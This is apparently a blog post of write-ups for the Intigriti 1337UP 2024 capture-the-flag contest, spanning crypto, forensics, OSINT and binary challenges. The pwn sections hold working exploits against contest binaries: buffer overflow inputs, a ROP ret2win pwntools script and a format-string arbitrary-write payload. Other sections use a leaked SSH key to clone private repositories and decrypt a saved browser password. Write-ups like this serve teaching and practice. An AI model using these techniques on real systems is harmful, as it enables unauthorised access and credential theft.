Home Posts Projects Tags RSS

CTF writeup: 1337UP 2024


Nov 18, 2024 - ctf intigriti 1337up crypto

Socials

created by CryptoCat

Have a look around our socials, maybe you’ll find some flags! Don’t forget to hit follow while you’re there 🥺

Flag format: INTIGRITI{Twitter+YouTube+Reddit}

https://linktr.ee/hackwithintigriti

The goal of this challenge was to check comments under post/video about the ongoing 1337UP CTF on different Integriti social media profiles. The flag was encoded differntly for each platform (base64, hex, binary).

Lost Program

created by CryptoCat

I was working on a bug bounty program the other day but I completely forgot the name!! I guess that will teach me not to use emoji notation in future 😩 Anyway, if you could help me find it again, I’d really appreciate it! Here’s my notes..

TODO: find lots of 😎🐛 on 🥷🥝🎮

Hint: flag format = INTIGRITI{company_name}

https://go.intigriti.com/programs

The company in question was Ninja Kiwi Games.

IrrORversible

created by CryptoCat

So reversible it’s practically irreversible

nc irrorversible.ctf.intigriti.io 1330

Actually the encryption is reversible. Since it’s just XOR, the key can be easily recovered.

from pwn import *

p = remote('irrorversible.ctf.intigriti.io', 1330)
p.recvuntil(b':')
p.sendline(b'A'*255)
p.recvuntil(b'(hex format):\n')
hexdata = p.recvuntil(b'\n')[4:-6]
print('encrypted:', hexdata)
p.recvall()

ks = xor(bytes.fromhex(hexdata.decode('utf-8')), b'A'*255)
print('keystream:', ks)
[┤] Opening connection to irrorversible.ctf.intigriti.io on port 1330: Trying 54[+] Opening connection to irrorversible.ctf.intigriti.io on port 1330: Done
encrypted: b'082f61190e136136246135333432356d612f2e612f24242561352e6127282629356d610328353261272d283161202f256125202f22246d61282f61252038612e33612f282629356f61152e61223320222a6135292832612a24386d61382e34612c343235612439312d2e33246d61080f150806130815083a23757470221e3971331e362975767e3c6d6129282525242f6120356128353261222e33246f61122928273561202f256135362832356d613529332e34262961232835326126202d2e33246d610e2f2d38613529246123332037246136282d2d61322e2d372461190e136632612d2e33246f082f61190e136136246135333432356d612f2e612f246f'
[+] Receiving all data: Done (27B)
[*] Closed connection to irrorversible.ctf.intigriti.io port 1330
keystream: b"In XOR we trust, no need to fight, Bits flip and dance, in day or night. To crack this key, you must explore, INTIGRITI{b451c_x0r_wh47?}, hidden at its core. Shift and twist, through bits galore, Only the brave will solve XOR's lore.In XOR we trust, no ne."

Layers

created by CryptoCat

Weird way to encode your data, but OK! 🤷‍♂️

The attached zip file has a lot of 8 byte files in it.

$ unzip -l layers.zip
Archive:  layers.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        8  2024-08-19 17:09   48
        8  2024-08-19 17:10   45
        8  2024-08-19 17:10   6
        8  2024-08-19 17:11   25
        8  2024-08-19 17:11   55
        8  2024-08-19 17:12   39
        8  2024-08-19 17:12   29
        8  2024-08-19 17:13   32
        8  2024-08-19 17:13   24
        8  2024-08-19 17:14   12
        8  2024-08-19 17:14   8
        8  2024-08-19 17:15   31
        8  2024-08-19 17:15   52
        8  2024-08-19 17:16   15
        8  2024-08-19 17:16   46
        8  2024-08-19 17:17   54
        8  2024-08-19 17:17   1
        8  2024-08-19 17:18   36
        8  2024-08-19 17:18   43
        8  2024-08-19 17:19   50
        8  2024-08-19 17:19   13
        8  2024-08-19 17:20   30
        8  2024-08-19 17:20   28
        8  2024-08-19 17:21   21
        8  2024-08-19 17:21   3
        8  2024-08-19 17:22   23
        8  2024-08-19 17:22   47
        8  2024-08-19 17:23   16
        8  2024-08-19 17:23   18
        8  2024-08-19 17:24   44
        8  2024-08-19 17:24   9
        8  2024-08-19 17:25   49
        8  2024-08-19 17:25   7
        8  2024-08-19 17:26   35
        8  2024-08-19 17:26   42
        8  2024-08-19 17:27   37
        8  2024-08-19 17:27   33
        8  2024-08-19 17:28   0
        8  2024-08-19 17:28   20
        8  2024-08-19 17:29   5
        8  2024-08-19 17:29   11
        8  2024-08-19 17:30   22
        8  2024-08-19 17:30   51
        8  2024-08-19 17:31   38
        8  2024-08-19 17:31   17
        8  2024-08-19 17:32   14
        8  2024-08-19 17:32   4
        8  2024-08-19 17:33   19
        8  2024-08-19 17:33   34
        8  2024-08-19 17:34   53
        8  2024-08-19 17:34   41
        8  2024-08-19 17:35   10
        8  2024-08-19 17:35   26
        8  2024-08-19 17:36   40
        8  2024-08-19 17:36   27
        8  2024-08-19 17:37   2
---------                     -------
      448                     56 files

Turns out each file is just one byte encoded in binary. I wrote a quick script to decode extracted data.

import os
import base64

l2 = b''
for item in os.listdir('layers/'):
    itempath = os.path.join('layers', item)
    with open(itempath) as f:
        data = f.read()
        l2 += bytes([int(data, 2)])

#print(l2)
print(base64.b64decode(l2))

BabyFlow

created by CryptoCat

Does this login application even work?!

nc babyflow.ctf.intigriti.io 1331

In the main function of the decompiled binary program checks the password with hard-coded string and wants the user to be admin.

undefined8 main(void)
{
  int iVar1;
  char user_input [44];
  int is_admin;
  
  is_admin = 0;
  printf("Enter password: ");
  fgets(user_input,50,stdin);
  iVar1 = strncmp(user_input,"SuPeRsEcUrEPaSsWoRd123",22);
  if (iVar1 == 0) {
    puts("Correct Password!");
    if (is_admin == 0) {
      puts("Are you sure you are admin? o.O");
    }
    else {
      puts("INTIGRITI{the_flag_is_different_on_remote}");
    }
  }
  else {
    puts("Incorrect Password!");
  }
  return 0;
}

fgets loads 50 bytes into 44 char buffer so we have a buffer overflow here so it’s possible to override is_admin.

Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}

In Plain Sight

created by CryptoCat

Barely hidden tbh..

Running binwalk on meow.jpg we can extract zip file placed at the end. In the strings we can see some weird string which turns out to be the password.

...
YoullNeverGetThis719482
flag.pngUT	
flag.pngUT

The extracted png image appears to be completely white but I wrote a script that replaces all non-white colors with black and I got the flag.

image with the flag

Rigged Slot Machine 1

created by CryptoCat

The casino thinks they’ve rigged their slots so well, they can give every player $100 free play! Of course, there’s always some small print: you can’t cash out unless you hit the jackpot and each player only gets 3 minutes play time

nc riggedslot1.ctf.intigriti.io 1332

Looking at the decompiled source code and observing the game behavior, I noticed the game is set up in the user’s favour. There’s 30% chance you win something.

rand_0_99 = rand();
rand_0_99 = rand_0_99 % 100;
if (rand_0_99 == 0) {
multiplier = 100;
}
else if (rand_0_99 < 10) {
multiplier = 5;
}
else if (rand_0_99 < 15) {
multiplier = 3;
}
else if (rand_0_99 < 20) {
multiplier = 2;
}
else if (rand_0_99 < 30) {
multiplier = 1;
}
else {
multiplier = 0;
}
won_amount = bet_amount * multiplier - bet_amount;
if ((int)won_amount < 1) {
if ((int)won_amount < 0) {
  printf("You lost $%d.\n",(ulong)-won_amount);
}
else {
  puts("No win, no loss this time.");
}
}
else {
printf("You won $%d!\n",(ulong)won_amount);
}
*money = *money + won_amount;

I constructed this payload and after running it a few times I got the flag.

python -c 'print("10\n"*100 + "100\n"*2400)' | nc riggedslot1.ctf.intigriti.io 1332

Rigged Slot 2

created by CryptoCat

The casino fixed their slot machine algorithm - good luck hitting that jackpot now! 🤭

nc riggedslot2.ctf.intigriti.io 1337

After decompilation with Ghidra, we can see vulnerable function enter_name which uses gets to fill the 20 byte buffer.

void enter_name(char *input_buf)
{
  puts("Enter your name:");
  gets(input_buf);
  printf("Welcome, %s!\n",input_buf);
  return;
}

void main(void)
{
  time_t tVar1;
  int local_2c;
  char input_buf [20];
  uint n_points;
  int local_10;
  __gid_t local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  tVar1 = time((time_t *)0x0);
  srand((uint)tVar1);
  setup_alarm(5);
  n_points = 100;
  puts("Welcome to the Rigged Slot Machine!");
  puts("You start with $100. Can you beat the odds?");
  enter_name(input_buf);
  do {
    while( true ) {
      while( true ) {
        local_2c = 0;
        printf("\nEnter your bet amount (up to $%d per spin): ",100);
        local_10 = __isoc99_scanf(&DAT_0010224e,&local_2c);
        if (local_10 == 1) break;
        puts("Invalid input! Please enter a numeric value.");
        clear_input();
      }
      if ((local_2c < 1) || (100 < local_2c)) break;
      if ((int)n_points < local_2c) {
        printf("You cannot bet more than your Current Balance: $%d\n",(ulong)n_points);
      }
      else {
        play(local_2c,&n_points);
        if (n_points == 1337420) {
          payout(&n_points);
        }
      }
    }
    printf("Invalid bet amount! Please bet an amount between $1 and $%d.\n",100);
  } while( true );
}

Since the money amount is placed directly after the name buffer on the stack, we can overwrite it with a simple buffer overflow exploit. We put the 1$ bet and set money to 1337420+1$ since we will probably lose the first bet.

payload = b'A'*20
payload += int.to_bytes(1337420+1, 8, 'little')
payload += b'\n1\n'

with open('rigged2.bin', 'wb') as f:
    f.write(payload)
$ cat rigged2.bin | nc riggedslot2.ctf.intigriti.io 1337
Welcome to the Rigged Slot Machine!
You start with $100. Can you beat the odds?
Enter your name:
Welcome, AAAAAAAAAAAAAAAAAAAAMh!

Enter your bet amount (up to $100 per spin): You lost $1.
Current Balance: $1337420
Congratulations! You've won the jackpot! Here is your flag: INTIGRITI{1_w15h_17_w45_7h15_345y_1n_v3645}

Retro2Win

created by CryptoCat

So retro.. So winning..

nc retro2win.ctf.intigriti.io 1338

Decompiling the binary we discovered undocumented functionality. We can try entering cheat_mode by typing 1337 in main menu.

We can’t simply enter the cheat_mode since without passing certain parameters we’re unauthorized.

void cheat_mode(long param_1,long param_2)
{
  char *pcVar1;
  char local_58 [72];
  FILE *local_10;
  
  if ((param_1 == 0x2323232323232323) && (param_2 == 0x4242424242424242)) {
    puts("CHEAT MODE ACTIVATED!");
    puts("You now have access to secret developer tools...\n");
    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      puts("Error: Could not open flag.txt");
    }
    else {
      pcVar1 = fgets(local_58,0x40,local_10);
      if (pcVar1 != (char *)0x0) {
        printf("FLAG: %s\n",local_58);
      }
      fclose(local_10);
    }
  }
  else {
    puts("Unauthorized access detected! Returning to main menu...\n");
  }
  return;
}

void enter_cheatcode(void)
{
  char buf [16];
  
  puts("Enter your cheatcode:");
  gets(buf);
  printf("Checking cheatcode: %s!\n",buf);
  return;
}

int main(void)
{
  int choice;
  
  do {
    while( true ) {
      while( true ) {
        show_main_menu();
        __isoc99_scanf(&DAT_00400c19,&choice);
        getchar();
        if (choice != 2) break;
        battle_dragon();
      }
      if (2 < choice) break;
      if (choice == 1) {
        explore_forest();
      }
      else {
LAB_0040093b:
        puts("Invalid choice! Please select a valid option.");
      }
    }
    if (choice == 3) {
      puts("Quitting game...");
      return 0;
    }
    if (choice != 1337) goto LAB_0040093b;
    enter_cheatcode();
  } while( true );
}

As the name suggests this will be ret2win exploit which is usually executed by overwriting the return address to point to our desired function. We can do that in enter_cheatcode function with vulnerable gets function and buffer overflow just like in previous challenge. Here we also need to pass some arguments in the rdi and rsi registers (this is x86-64 calling convention) since the win function checks them. To do that we’ll use ROP gadgets (jumping to somewhere just before the ret instruction and executing the code we need).

$ ROPgadget --binary ./retro2win | grep rdi
0x00000000004008ee : add bh, byte ptr [rdi + 7] ; cmp eax, 1 ; je 0x400906 ; jmp 0x40093b
0x00000000004008ed : clc ; add bh, byte ptr [rdi + 7] ; cmp eax, 1 ; je 0x400906 ; jmp 0x40093b
0x0000000000400716 : cmp dword ptr [rdi], 0 ; jne 0x400720 ; jmp 0x4006b0
0x0000000000400715 : cmp qword ptr [rdi], 0 ; jne 0x400720 ; jmp 0x4006b0
0x00000000004009b3 : pop rdi ; ret
$ ROPgadget --binary ./retro2win | grep rsi
0x00000000004009b1 : pop rsi ; pop r15 ; ret
0x0000000000400727 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax

We can choose 0x4009b3 for rdi and 0x4009b1 for rsi. We couldn’t find simple pop rsi ; ret gadget so we’ll actually pass 3 parameters to the function and discard the third one (r15).

Here’s full exploitation script:

from pwn import *

BUFFER_SIZE = 16
RET_ADDR_SIZE = 8
PADDING_TO_RET = BUFFER_SIZE + RET_ADDR_SIZE

WIN_ADDR = 0x400736

# ROP gadgets
POP_RDI = 0x4009b3  # pop rdi; ret
POP_RSI_R15 = 0x4009b1  # pop rsi ; pop r15 ; ret

PARAM1 = 0x2323232323232323
PARAM2 = 0x4242424242424242
DUMMY_R15 = 0x4141414141414141

exploit = b""
exploit += b"A" * PADDING_TO_RET
exploit += p64(POP_RDI)
exploit += p64(PARAM1)  # parameter 1 in rdi
exploit += p64(POP_RSI_R15)
exploit += p64(PARAM2)  # parameter 2 in rsi
exploit += p64(DUMMY_R15)  # parameter 3 in r15 (we don't really care)
exploit += p64(WIN_ADDR)

with open('exploit.bin', 'wb') as f:
    f.write(b'1337\n')
    f.write(exploit)

#p = process('./retro2win')
p = remote('retro2win.ctf.intigriti.io', 1338)
p.sendline(b'1337')
p.sendline(exploit)
print(p.recvall())

Floormat Mega Sale

created by CryptoCat

The Floor Mat Store is running a mega sale, check it out!

nc floormatsale.ctf.intigriti.io 1339

void employee_access(void)
{
  char local_58 [72];
  FILE *local_10;
  
  if (employee == 0) {
    puts("\nAccess Denied: You are not an employee!");
  }
  else {
    local_10 = fopen("flag.txt","r");
    if (local_10 == (FILE *)0x0) {
      puts(
          "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are runnin g this on the shell server."
          );
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    fgets(local_58,0x40,local_10);
    printf("Exclusive Employee-only Mat will be delivered to: %s\n",local_58);
    fclose(local_10);
  }
  return;
}

int main(void)
{
  int iVar1;
  int choice;
  char vulnerable_string [256];
  char *local_48 [4];
  char *local_28;
  char *local_20;
  __gid_t local_10;
  int i;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_48[0] = "1. Cozy Carpet Mat - $10";
  local_48[1] = "2. Wooden Plank Mat - $15";
  local_48[2] = "3. Fuzzy Shag Mat - $20";
  local_48[3] = "4. Rubberized Mat - $12";
  local_28 = "5. Luxury Velvet Mat - $25";
  local_20 = "6. Exclusive Employee-only Mat - $9999";
  local_10 = getegid();
  setresgid(local_10,local_10,local_10);
  puts(
      "Welcome to the Floor Mat Mega Sale!\n\nPlease choose from our currently available floor mats: \n"
      );
  puts("Please select a floor mat:\n");
  for (i = 0; i < 6; i = i + 1) {
    puts(local_48[i]);
  }
  puts("\nEnter your choice:");
  __isoc99_scanf(&DAT_00402225,&choice);
  if ((0 < choice) && (choice < 7)) {
    do {
      iVar1 = getchar();
    } while (iVar1 != 10);
    puts("\nPlease enter your shipping address:");
    fgets(vulnerable_string,256,stdin);
    puts("\nYour floor mat will be shipped to:\n");
    printf(vulnerable_string);
    if (choice == 6) {
      employee_access();
    }
    return 0;
  }
  puts("Invalid choice!\n");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

In this challenge we need to exploit arbitrary write via dangerous printf call which results in string format vulnerability. employee is a global variable of type int stored at address 0x40408c. We need to modify it to something different than 0 to get the employee access.

I wrote an exploitation script using pwntools built-in methods to execute arbitrary write on given address.

from pwn import *

context.clear(arch = 'amd64')

binary = './floormat_sale'
elf = ELF(binary)

r = remote('floormatsale.ctf.intigriti.io', 1339)
#r = process(binary)

target_address = 0x0040408c

r.sendline(b'6')

payload = fmtstr_payload(10, {target_address: 1})
with open('paylo.bin', 'wb') as f:
    f.write(b'6\r\n')
    f.write(payload+b'\n')

print(f"Sending payload: {payload}")
r.sendline(payload)
    
text = r.recvall()
print(text)

Note here I used 10 as the format string position on the stack. You can check that like this:

Please enter your shipping address:
AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

Your floor mat will be shipped to:

AAAAAAAA0x10x10x7fd6c3dca8870x24(nil)0x7ffc70015dc80x100000000(nil)0x6000000000x41414141414141410x70257025702570250x70257025702570250x70257025702570250x70257025702570250xa0x40

Access Denied: You are not an employee!

Counting from the start, we can see the 0x414141414141414 is on the 10th position.

Secure Bank

created by CryptoCat

Can you crack the bank?

nc securebank.ctf.intigriti.io 1335

Putting the executable into Ghidra we can see it’s pretty easy to reverse engineer.

bool main(void)
{
  undefined4 user_2fa;
  int user_pin;
  undefined4 generated_2fa;
  
  banner();
  login_message();
  printf("Enter superadmin PIN: ");
  __isoc99_scanf(&DAT_001021ea,&user_pin);
  if (user_pin == 1337) {
    generated_2fa = generate_2fa_code(1337);
    printf("Enter your 2FA code: ");
    __isoc99_scanf(&DAT_001021ea,&user_2fa);
    validate_2fa_code(user_2fa,generated_2fa);
  }
  else {
    puts("Access Denied! Incorrect PIN.");
  }
  return user_pin != 1337;
}

The pin is 1337, however for the “2nd factor” some kind of generator is involved.

I extracted the 2FA generator code and put it into a C file.

#include <stdint.h>
#include <stdio.h>

typedef unsigned int uint;

uint obscure_key(uint k) {
  return ((k ^ 0xa5a5a5a5) << 3 | (k ^ 0xa5a5a5a5) >> 0x1d) * 0x1337 ^ 0x5a5a5a5a;
}

uint generate_2fa_code(int seed_1337)
{
  int i;
  uint seed_copy;
  uint obs_seed;
  
  seed_copy = seed_1337 * 48879;
  obs_seed = seed_copy;
  for (i = 0; i < 10; i = i + 1) {
    obs_seed = obscure_key(obs_seed);
    seed_copy = ((seed_copy ^ obs_seed) << 5 | (seed_copy ^ obs_seed) >> 0x1b) +
                (obs_seed << ((char)i + (char)(i / 7) * -7 & 0x1fU) ^
                obs_seed >> ((char)i + (char)(i / 5) * -5 & 0x1fU));
  }
  return seed_copy & 0xffffff;
}

int main(int argc, char** argv) {
  printf("Code: %u\n", generate_2fa_code(1337));
  return 0;
}

Now we can generate 2FA for 1337 and get the flag.

TriForce Recon

created by Mohamed Adil

you have intercepted a classified message that has been divided into three encrypted executables and were each hidden on different operating systems.

Flag format: INTGRITI{Flag1+Flag2+Flag3}

We were given 3 different executables in a zip archive. Each of them compiled for different OS: Linux, OS X and Windows.

I first analyzed the Linux one (Courage.out)

undefined8 main(void)
{
  int flag_ok;
  size_t len;
  char magic [2];
  undefined xorred_correct [64];
  char xor_out [64];
  char user_key [56];
  char *xorred_correct_hex;
  
  xorred_correct_hex = "775a5051034d5644706002635f467d0570030558454b";
  hexToString("775a5051034d5644706002635f467d0570030558454b",xorred_correct);
  magic[0] = '1';
  magic[1] = '6';
  printf("Enter the correct passphrase: ");
  __isoc99_scanf(&DAT_00102057,user_key);
  len = strlen(user_key);
  xor_encrypt(user_key,xor_out,magic,(int)len);
  len = strlen(user_key);
  flag_ok = memcmp(xor_out,xorred_correct,len);
  if (flag_ok == 0) {
    printf("Correct! The flag is: ");
    printf(user_key);
  }
  else {
    puts("Wrong passphrase!");
  }
  return 0;
}

The magic string appears to be XORed with repeating 16. We can recreate this in Python.

>>> from pwn import xor
>>> xor(bytes.fromhex('775a5051034d5644706002635f467d0570030558454b'), b'16')  # Linux
b'Flag2{grAV3UnpL3A54nt}'

Other two executables do essentially the same thing just with different numbers and hex strings.

>>> xor(bytes.fromhex('755e525500496177065b057c076602025d6152467a0755735046025d5d4f'), b'32')  # OS X
b'Flag3{RE5i6N4T10nSatI5fAct1on}'
>>> xor(bytes.fromhex('7e54595f09434b0f4a5d59757b514a5b6d550d0f0c765b7d45'), b'8')  # Win
b'Flag1{s7reaMCircUm574NcE}'

Schrödinger’s Pad

created by CryptoCat

Everyone knows you can’t reuse a OTP, but throw in a cat and a box.. Maybe it’s secure?

nc pad.ctf.intigriti.io 1348

The server first displays encrypted (XORed + some tricks) text and then allows the user to encrypt arbitrary data using the same key. The only real obstacle is this cat which can have two states. The tricks used after XORing are different for dead and alive cat. The state is choosen at random so we have 50% of getting the correct trick.

from pwn import *

def decrypt(data):
    out = []
    for b in data:
        b ^= 0xca
        b = ((b<<1) | (b>>7)) & 0xff
        out.append(b)
    return bytes(out)

print('a'*160)
print('Encrypt this and type the answer (cat has to be dead):')
ans = input()
key = xor(decrypt(bytes.fromhex(ans)), b'a'*160)
print('key:', key)

CTF Mind Tricks

created by CryptoCat

There’s an ongoing investigation into the communications of two potential hackers. As far as I can see, they only shared some music with each other but the feds are convinced something nefarious is going on. Let me know if you can find anything 🔎

We’re provided with a pcap file. It shows communication over SMB2 file protocol and the transmitted file is _Capture the Flag Kings.wav. After extracting it from the pcap the flag can be read using spectrogram view.

spectrogram in ffplay

Password Management

created by CryptoCat

My computer broke and I don’t know what to do! Can you take a look at the drive? There shouldn’t be any sensitive information on there, I deleted personal files a while ago..

https://cybersharing.net/s/2a4eb4e4898ea705 OR https://drive.google.com/file/d/1nqBZFtaw6UU1hiDT67USLCtLNfM-yr1f/view?usp=sharing

$ file disk.E01 
disk.E01: EWF/Expert Witness/EnCase image file format

We’re given an Expert Witness File containing allegedly lost password. I’ve never actually used this format but after a bit of research I found libewf which enables mounting such files on Linux.

I used this guide to mount the E01 file. Then I ran binwalk to extract the filesystem from disk.

Under C:/Users/cat/AppData/Roaming/Mozilla/Firefox/Profiles/0wzgz3ay.default-release I found a Mozilla Firefox profile with key4.db containing login encrypted login details for https://super-really-real-bank.com. This has to be what we’re looking for. I tried using firefox_decrypt to get the login and password however it didn’t work. They had to have a master password.

Looking at other files in the system (particularly in AppData) I found one image in the VMware cache (C:/Users/cat/AppData/Local/Temp/vmware-cat/VMwareDnD/6f45e85b).

import_1 image

This was the master password to unlock Firefox’es password manager.

$ python ~/Documents/firefox_decrypt/firefox_decrypt.py .
Select the Mozilla profile you wish to decrypt
1 -> Profiles/hidmbk12.default
2 -> Profiles/0wzgz3ay.default-release
2

Primary Password for profile ./Profiles/0wzgz3ay.default-release: 

Website:   https://super-really-real-bank.com
Username: 'cat'
Password: 'INTIGRITI{4n_unf0r7un473_53r135_0f_m1574k35}'

Private Github Repository

created by Ivars Vids

Bob Robizillo created a public instructions for Tiffany, so she can start work on new secret project. can you access the secret repository?

Putting Bob Robizillo into Google yields this gist.

Dear Tiffany,

I hope this message finds you well. To streamline our collaboration on the 1337up repository, I kindly ask you to add the enclosed SSH key to your account. This step is crucial for enabling a seamless forking process and enhancing our project efficiency.

Thank you for your prompt attention to this matter.

Best regards, Bob Robizillo

{base64 encoded ssh id}

I decoded the id_rsa (base64 decode, extract zip) and imported it into ssh agent.

$ eval "$(ssh-agent -s)"
Agent pid 236193
$ chmod 600 id_rsa
$ ssh-add ./id_rsa
$ ssh -T git@github.com
Hi nitrofany! You've successfully authenticated, but GitHub does not provide shell access.

Then I was able to clone the 1337up repository from bob-193.

$ git clone git@github.com:bob-193/1337up.git
$ cd 1337up
$ git log
commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807 (HEAD -> main, origin/main, origin/HEAD)
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date:   Mon Aug 19 14:04:04 2024 +0300

    init
$ cat readme.md 
Hey, Tiffany! You will need to save this repo in your user space and implement changes we agreed earlier.

Hmm… nothing interesting to see here. However I realised Tiffany was asked to fork the repository. Maybe I could clone the 1337up repo from Tiffany’s own fork and check the changes she made.

$ git clone git@github.com:nitrofany/1337up.git
$ cd 1337up
$ git log
commit 0f2ad0478e2acc0536be49ecefcb5e12cf797228 (HEAD -> main, origin/main, origin/HEAD)
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:17:45 2024 +0200

    update

commit 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:15:57 2024 +0200

    update

commit d127325918e586ed6bfbd7fff94e049378d5694b
Author: root <root@vmi1519856.contaboserver.net>
Date:   Mon Aug 19 14:14:02 2024 +0200

    update

commit 5f73d374eace947a4fb12a8e81ceb5a8ca849807
Author: bob-193 <148455791+bob-193@users.noreply.github.com>
Date:   Mon Aug 19 14:04:04 2024 +0300

Running diff on one of those commits we see at some point certain submodule was added to the repo.

$ git diff 5c18888418fd3f2a9d76cfd278b69c1f7c41ba4f
diff --git a/.gitmodules b/.gitmodules
deleted file mode 100644
index 0f2b51c..0000000
--- a/.gitmodules
+++ /dev/null
@@ -1,3 +0,0 @@
-[submodule "config"]
-       path = config
-       url = https://github.com/nitrofany/01189998819991197253
diff --git a/config/.env b/config/.env
new file mode 100644
index 0000000..1758539
--- /dev/null
+++ b/config/.env
@@ -0,0 +1 @@
+flag=replace with production INTIGRITI{...}

Let’s try to clone it as well…

$ git clone git@github.com:nitrofany/01189998819991197253.git
$ cd 01*
$ ls -la
$ cat flag.md
# INTIGRITI{9e0121bb8bce15ead3d7f529a81b77b4}

And we got the flag :)

No Comment

created by CryptoCat

Or is there? 🤔

There’s a jpg image attached to this challenge. Just checking the Exif tags we can see that there’s a comment indeed.

$ exiftool ripple.jpg | grep Comment
Comment                         : /a/pq6TgwS

After a bit of digging it turns out this kind of url scheme is used by imgur. Going to https://imgur.com/a/pq6TgwS we can see the same image with the following base64 string in the description.

V2hhdCBhICJsb25nX3N0cmFuZ2VfdHJpcCIgaXQncyBiZWVuIQoKaHR0cHM6Ly9wYXN0ZWJpbi5jb20vRmRjTFRxWWc=

It decodes to:

What a "long_strange_trip" it's been!

https://pastebin.com/FdcLTqYg

Following this url, we’re asked for a password to unlock the paste. Since long_strange_trip is quoted in the decoded text, I typed it in.

Now we have access to the paste but it turns out to just be a hexstring.

25213a2e18213d2628150e0b2c00130e020d024004301e5b00040b0b4a1c430a302304052304094309

XORing it with the password from earlier gives us the flag.

>>> xor(bytes.fromhex('25213a2e18213d2628150e0b2c00130e020d024004301e5b00040b0b4a1c430a302304052304094309'), b'long_strange_trip')
b'INTIGRITI{instagram.com/reel/C7xYShjMcV0}'

Trackdown

created by CryptoCat

There’s a fugitive on the loose and we need to track him down! He posted this to social media recently, do you know where the photograph was taken from? If you can provide the precise building, we can move in immediately 🚔

Flag format: INTIGRITI{Location_Name}

trackdown challenge image

Image appears to be taken from some restaurant table near the Trang Tien Plaza, a large shopping centre in Hanoi.

Watching restaurants near the entry to Trang Tien Plaza I stumbled across this image. Recognizing the table from the image we can confidently say, the place is Si Lounge Hanoi.

Trackdown 2

created by CryptoCat

We didn’t get him in time 😫 Thankfully, we don’t believe he’s fled the country yet. He uploaded another photo this morning, it’s as if he’s taunting us! Anyway, this may be our last chance - do you know where he is right now?

Flag format: INTIGRITI{Location_Name}

trackdown2 challenge image

This challenge was quite a bit harder than the previous one. Of course we see the A25 Hotel in the distance. However it turns out there are a dozen of those hotels in Hanoi alone (it’s a bit like hotel chain if you can call it like that).

My second observation was the presence of Little Hanoi Egg Coffee restaurant above the street. This is also a chain of restaurants or coffee shops in Hanoi however this one is quite unique. The only Egg Coffee placed few meters above the street was this one. It looks very familiar and is placed near A25 hotel and church.

After a brief lookout I found the most probable place this picture was taken from was the Hotel at the corner of the street. It offers a view of the Bus Station, Egg Coffee, and the A25 in the distance.

google maps screenshot

The Hotel is named Express by M Village Phạm Ngũ Lão.

Quick Recovery

created by CryptoCat

Hey, check this QR code ASAP! It’s highly sensitive so I scrambled it, but you shouldn’t have a hard time reconstructing - just make sure to update the a_order to our shared PIN. The b_order is the reverse of that 😉

Attached zip file contains a scrambled QR code and a Python script used to generate it. I modified the generator script given to brute-force triangle placement. The authors also left the from itertools import permutations statement which gave a hint on how to solve this. I used pyzbar library to test if the image contains decodable QR code and decode it.

from PIL import Image, ImageDraw
from itertools import permutations
from pyzbar.pyzbar import decode
import subprocess

qr_code_image = Image.open("obscured.png")
width, height = qr_code_image.size
half_width, half_height = width // 2, height // 2

squares = {
    "1": (0, 0, half_width, half_height),
    "2": (half_width, 0, width, half_height),
    "3": (0, half_height, half_width, height),
    "4": (half_width, half_height, width, height)
}


def split_square_into_triangles(img, box):
    x0, y0, x1, y1 = box
    a_triangle_points = [(x0, y0), (x1, y0), (x0, y1)]
    b_triangle_points = [(x1, y1), (x1, y0), (x0, y1)]

    def crop_triangle(points):
        mask = Image.new("L", img.size, 0)
        draw = ImageDraw.Draw(mask)
        draw.polygon(points, fill=255)
        triangle_img = Image.new("RGBA", img.size)
        triangle_img.paste(img, (0, 0), mask)
        #triangle_img.show()
        return triangle_img.crop((x0, y0, x1, y1))

    return crop_triangle(a_triangle_points), crop_triangle(b_triangle_points)


triangle_images = {}
for key, box in squares.items():
    triangle_images[f"{key}a"], triangle_images[f"{key}b"] = split_square_into_triangles(
        qr_code_image, box)

orders = ["1", "2", "3", "4"]  # UPDATE ME
cnt = 0
for a_order in permutations(orders):
    for b_order in permutations(orders):

        final_positions = [
            (0, 0),
            (half_width, 0),
            (0, half_height),
            (half_width, half_height)
        ][::-1]

        reconstructed_image = Image.new("RGBA", qr_code_image.size)

        for i in range(4):
            a_triangle = triangle_images[f"{a_order[i]}a"]
            b_triangle = triangle_images[f"{b_order[i]}b"]
            combined_square = Image.new("RGBA", (half_width, half_height))
            combined_square.paste(a_triangle, (0, 0))
            combined_square.paste(b_triangle, (0, 0), b_triangle)
            reconstructed_image.paste(combined_square, final_positions[i])

        #reconstructed_image.save(f"obscured{cnt}.png")
        #print(f"Reconstructed QR code saved as 'obscured{cnt}.png'")
        data = decode(reconstructed_image)
        if data:
            print(data)
        
        cnt += 1